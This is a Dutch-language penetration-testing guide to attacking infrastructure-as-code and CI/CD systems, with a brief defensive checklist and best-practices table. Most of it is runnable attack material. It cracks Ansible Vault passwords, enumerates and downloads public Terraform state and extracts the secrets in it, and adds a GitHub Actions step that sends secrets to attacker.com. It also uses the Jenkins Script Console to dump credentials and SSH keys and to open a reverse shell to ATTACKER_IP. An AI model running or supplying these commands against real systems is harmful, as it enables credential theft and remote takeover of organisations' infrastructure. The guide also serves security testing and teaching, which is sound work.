git log --all --diff-filter=D -- "*.env" "*.pem" "*.key"

Ansible Vault kraken

# Ansible Vault bestanden herkennen
head -1 vault.yml
# $ANSIBLE_VAULT;1.1;AES256

# Converteer naar hashcat/john formaat
ansible2john vault.yml > hash.txt

# Kraken
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 16900 hash.txt /usr/share/wordlists/rockyou.txt

# Na het kraken: ontsleutelen
ansible-vault decrypt vault.yml --vault-password-file=password.txt

IaC Security Checklist

CheckToolRisico
Terraform state publiek?aws s3 ls / az storage / gsutilCritisch: alle secrets lezen
Hardcoded secrets in HCL?tfsec, checkovHoog: credentials in repo
Publieke S3/Blob/GCS?tfsec, ScoutSuiteHoog: data lekkage
Open security groups?tfsec, prowlerHoog: directe internettoegang
Git history secrets?trufflehog, gitleaksHoog: credentials in oude commits
CI/CD secrets in logs?Handmatig reviewHoog: tokens in build output
Jenkins Script Console?Nmap, browserCritisch: RCE
Ansible Vault weak password?ansible2john + hashcatMedium: encrypted secrets kraken

Real-world IaC-exploitatie

Case: Terraform state op publieke S3 bucket

Dit is een scenario dat vaker voorkomt dan je zou verwachten. Een DevOps-team configureert Terraform met een S3 backend voor de state. Ze maken de bucket aan via de console, vergeten de public access block te zetten, en hebben nu hun complete infrastructuurblauwdruk inclusief alle wachtwoorden openbaar op internet staan.

# Stap 1: Ontdek S3 buckets via DNS/certificate transparency
# Veelvoorkomende naampatronen:
for prefix in terraform tf-state infra devops deploy; do
  for suffix in state prod production staging; do
    bucket="${company}-${prefix}-${suffix}"
    if aws s3 ls "s3://$bucket" 2>/dev/null; then
      echo "GEVONDEN: s3://$bucket"
    fi
  done
done

# Stap 2: Download de state
aws s3 cp s3://company-terraform-prod/terraform.tfstate . --no-sign-request

# Stap 3: Extraheer secrets
python3 -c "
import json
state = json.load(open('terraform.tfstate'))
for resource in state.get('resources', []):
    for instance in resource.get('instances', []):
        attrs = instance.get('attributes', {})
        for key, val in attrs.items():
            if any(s in key.lower() for s in ['password', 'secret', 'key', 'token']):
                if val and val not in ['', None, '(sensitive value)']:
                    print(f'{resource[\"type\"]}.{resource[\"name\"]}: {key} = {val}')
"

# Typische vondsten in state files:
# - RDS master password (aws_db_instance)
# - IAM access keys (aws_iam_access_key)
# - TLS private keys (tls_private_key)
# - SSH key pairs (aws_key_pair)
# - API tokens (diverse providers)
# - Redis auth tokens (aws_elasticache_replication_group)

Case: GitHub Actions secret exfiltratie

# Scenario: je hebt write-access tot een repo met GitHub Actions
# De workflows gebruiken secrets (AWS keys, deploy tokens, etc.)

# Methode 1: Voeg een stap toe aan een bestaande workflow
# In .github/workflows/deploy.yml:
- name: Debug
  run: |
    echo "${{ secrets.AWS_ACCESS_KEY_ID }}" | base64 | curl -d @- https://attacker.com/collect

# Methode 2: Via pull_request_target trigger
# Maak een PR vanuit een fork met een gewijzigde workflow
# pull_request_target draait in de context van het base repo (met secrets!)

# Methode 3: Via environment variabelen
# Als de workflow secrets als env vars zet:
env:
  AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
# Dan kun je ze lezen via een willekeurig commando in dezelfde job

Case: Jenkins Script Console RCE

# Jenkins Script Console is beschikbaar op /script
# Het is een Groovy REPL met volledige toegang tot het Jenkins-object model

# Check of het bereikbaar is
curl -s https://jenkins.target.com/script

# Als je ingelogd bent (of als het onbeschermd is):

# Commando uitvoeren
def cmd = "id".execute()
println cmd.text

# Alle credentials lezen
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.domains.*
def creds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null)
creds.each { c ->
    println("${c.id}: ${c.username} / ${c.password}")
}

# SSH keys lezen
import com.cloudbees.jenkins.plugins.sshcredentials.impl.*
def keys = CredentialsProvider.lookupCredentials(
    BasicSSHUserPrivateKey.class, Jenkins.instance, null, null)
keys.each { k ->
    println("${k.id}: ${k.username}")
    println(k.privateKey)
}

# Reverse shell
def cmd = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

Verdediging: IaC Security Best Practices

RisicoOplossing
State file lekkageVersleutelde remote backend (S3 + SSE-KMS, private bucket met versioning)
Hardcoded secretsGebruik data sources, environment variables of Vault
Geen code reviewPR-based workflow met verplichte approval + tfsec/checkov in CI
Oude versies onlineterraform destroy voor deprecated infra + state cleanup
CI/CD secret lekkageMask secrets, gebruik OIDC federation ipv long-lived tokens
Git history secretsPre-commit hooks (git-secrets, gitleaks), roteer gelekte keys onmiddellijk